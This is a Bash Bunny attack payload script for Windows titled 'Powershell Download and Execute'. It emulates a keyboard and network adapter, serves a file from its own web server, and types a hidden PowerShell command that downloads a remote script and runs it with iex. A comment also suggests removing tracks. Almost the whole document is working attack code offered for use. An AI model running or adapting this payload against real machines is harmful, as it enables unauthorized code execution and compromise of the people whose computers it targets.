#!/bin/bash # # Title: Powershell Download and Execute # Author: LowValueTarget # Version: 1.2 # Category: Powershell # Target: Windows XP SP3+ (Powershell) # Attackmodes: HID, RNDIS_ETHERNET # Firmware: >= 1.3 # # Quick HID attack to retrieve and run powershell payload from BashBunny web server - ensure psh.txt exists in payload directory # # | Attack Stage | Description | # | ------------------- | ---------------------------------------- | # | Stage 1 | Running Initial Powershell Commands | # | Stage 3 | Delivering powershell payload | # ATTACKMODE RNDIS_ETHERNET HID LED SETUP GET HOST_IP GET SWITCH_POSITION # Set working dir PAYLOAD_DIR=/root/udisk/payloads/$SWITCH_POSITION SERVER_LOG=$PAYLOAD_DIR/server.log # Fresh Server Log rm -f $SERVER_LOG # Check for gohttp REQUIRETOOL gohttp # Start web server iptables -A OUTPUT -p udp --dport 53 -j DROP # disallow outgoing dns requests so server starts immediately /usr/bin/gohttp -p 80 -d $PAYLOAD_DIR > $SERVER_LOG 2>&1 & # Check for psh.txt if [ ! -f $PAYLOAD_DIR/psh.txt ]; then LED FAIL2 exit 1 fi # Attack HID LED STAGE1 # Attack (abbreviations to allow run execution) RUN WIN "powershell -WindowStyle Hidden \"\$web=New-Object Net.WebClient;while (\$TRUE) {If ((New-Object net.sockets.tcpclient ('$HOST_IP','80')).Connected) {iex \$web.DownloadString('http://$HOST_IP/psh.txt');\$web.DownloadString('http://172.16.64.1/DONE');exit}}\"" # Remove tracks in the psh payload if you wish # Attack Ethernet LED STAGE2 while ! grep -Fq "GET \"/DONE\"" $SERVER_LOG; do sleep .5 done LED FINISH